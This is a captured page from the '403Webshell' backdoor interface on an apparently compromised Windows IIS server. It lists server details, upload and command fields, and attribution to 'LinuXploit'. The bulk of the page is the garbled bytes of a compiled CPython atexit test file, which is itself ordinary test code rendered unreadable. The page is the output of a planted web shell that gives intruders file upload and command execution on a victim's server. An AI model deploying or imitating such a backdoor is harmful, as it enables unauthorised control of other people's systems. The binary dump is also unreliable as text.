403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_atexit.cpython-313.opt-1.pyc
�

��i6
���SSKrSSKrSSKrSSKrSSKJr SSKJr "SS\R5r	"SS\R5r
\R"SS	\R55r\
S
:Xa\R"5 gg)�N)�support)�
script_helperc��\rSrSrSrSrg)�GeneralTest�	c�\�[R"S5n[R"U5 g)Nz_test_atexit.py)r�findfiler�run_test_script)�self�scripts  �%C:\Python313\\Lib\test\test_atexit.py�test_general�GeneralTest.test_general
s!���!�!�"3�4���%�%�f�-��N)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__rrr
rr	s��.rrc� �\rSrSrSrSrSrg)�FunctionalTest�c��[R"S5n[R"SU5nUR	UR
R
5R5SS/5 URUR5 g)Nz�
            import atexit

            def f(msg):
                print(msg)

            atexit.register(f, "one")
            atexit.register(f, "two")
        �-c�two�one�
�textwrap�dedentr�assert_python_ok�assertEqual�out�decode�
splitlines�assertFalse�err�r�code�ress   r
�
test_shutdown�FunctionalTest.test_shutdownsc����� �
���,�,�T�4�8����������)�4�4�6����G�������!rc��[R"S5n[R"SU5nUR	UR
R
5R5SS/5 URUR5 g)Na@
            import sys
            import atexit as atexit1
            del sys.modules['atexit']
            import atexit as atexit2
            del sys.modules['atexit']

            assert atexit2 is not atexit1

            atexit1.register(print, "atexit1")
            atexit2.register(print, "atexit2")
        r�atexit2�atexit1rr(s   r
�test_atexit_instances�$FunctionalTest.test_atexit_instancessd����� �
���,�,�T�4�8����������)�4�4�6��I�8N�O�������!rrN)rrrrr+r0rrrr
rrs��
"�"rrc�`�\rSrSrSrSr\R"\"\	S5S5S5r
Srg)	�SubinterpreterTest�2c���[R"5n[R"S5n[R
"U5nUR
US5 UR
[R"5U5 g)Nz�
            import atexit
            def f():
                pass
            atexit.register(f)
            del atexit
        r��atexit�_ncallbacksrr r�run_in_subinterpr"�r�nr)�rets    r
�test_callbacks_leak�&SubinterpreterTest.test_callbacks_leak5s`��
��� ����� �
���&�&�t�,������a� �����+�+�-�q�1rc���[R"5n[R"S5n[R
"U5nUR
US5 UR
[R"5U5 g)Nz�
            import atexit
            def f():
                pass
            atexit.register(f)
            atexit.__atexit = atexit
        rr6r:s    r
�test_callbacks_leak_refcycle�/SubinterpreterTest.test_callbacks_leak_refcycleEs`��
��� ����� �
���&�&�t�,������a� �����+�+�-�q�1r�pipezrequires os.pipe()c�d�Sn[R"5up#[R"SR	U55n[
R"U5n[R"U5 UR[R"U[U55U5 [R"U5 g)NsThe test has passed!z�
            import os
            import atexit
            def callback():
                os.write({:d}, b"The test has passed!")
            atexit.register(callback)
        )�osrBrr �formatrr9�closer"�read�len)r�expected�r�wr)r<s      r
�(test_callback_on_subinterpreter_teardown�;SubinterpreterTest.test_callback_on_subinterpreter_teardownTs{��+���w�w�y������ �
�F�1�I�
���&�&�t�,��
������������C��M�2�H�=�
����rrN)rrrrr=r@�unittest�
skipUnless�hasattrrDrLrrrr
r3r32s6��2� 
2������V�,�.B�C��D�rr3�__main__)r7rDrrN�testr�test.supportr�TestCaserr�cpython_onlyr3r�mainrrr
�<module>rWs|��
�	����&�.�(�#�#�.� "�X�&�&� "�F	���2��*�*�2��2�j�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit